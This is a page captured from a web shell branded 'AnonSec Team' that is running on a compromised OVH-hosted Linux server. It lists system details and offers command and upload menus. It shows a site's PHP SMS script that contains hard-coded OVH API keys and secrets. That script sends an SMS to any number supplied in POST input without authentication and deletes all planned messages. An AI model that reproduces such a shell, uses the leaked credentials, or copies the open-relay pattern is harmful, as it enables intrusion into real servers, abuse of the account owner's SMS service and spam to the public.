AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/mcg/pages/ovh-smsss/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/mcg/pages/ovh-smsss/send_message.php
<?php
require __DIR__ . '/vendor/autoload.php';
use \Ovh\Sms\SmsApi;

try {
// Informations about your application
    // You may set them to 'NULL' if you are using
    // a configuraton file
    $applicationKey = "GLRqS8xPLbAbHmxv";
    $applicationSecret = "PFvMkSfGbP2PmHeKcNSQPfi2noFzH9Vd";
    $consumerKey = "aIBqhkihjm3uLd9o67xDIiA4lNJYz44Z";
    $endpoint = 'ovh-eu';

// Init SmsApi object
    $Sms = new SmsApi($applicationKey, $applicationSecret, $endpoint, $consumerKey);

// Get available SMS accounts
    $accounts = $Sms->getAccounts();

// Set the account you will use
    $Sms->setAccount($accounts[0]);

// Create a new message that will allow the recipient to answer (to FR receipients only)
    $Message = $Sms->createMessage();
    $Message->addReceiver($_POST["txtPhone"]);
    $Message->setIsMarketing(false);

    $Message->send(htmlspecialchars($_POST["txtMessage"]));

// Get all planned messages
    $plannedMessages = $Sms->getPlannedMessages();

// Delete all planned messages
    foreach ($plannedMessages as $planned) {
        $planned->delete();
    }
    echo "Message is Sent Successfully!";
} catch (Exception $e) {
    return "Error: " . $e;
}

AnonSec - 2021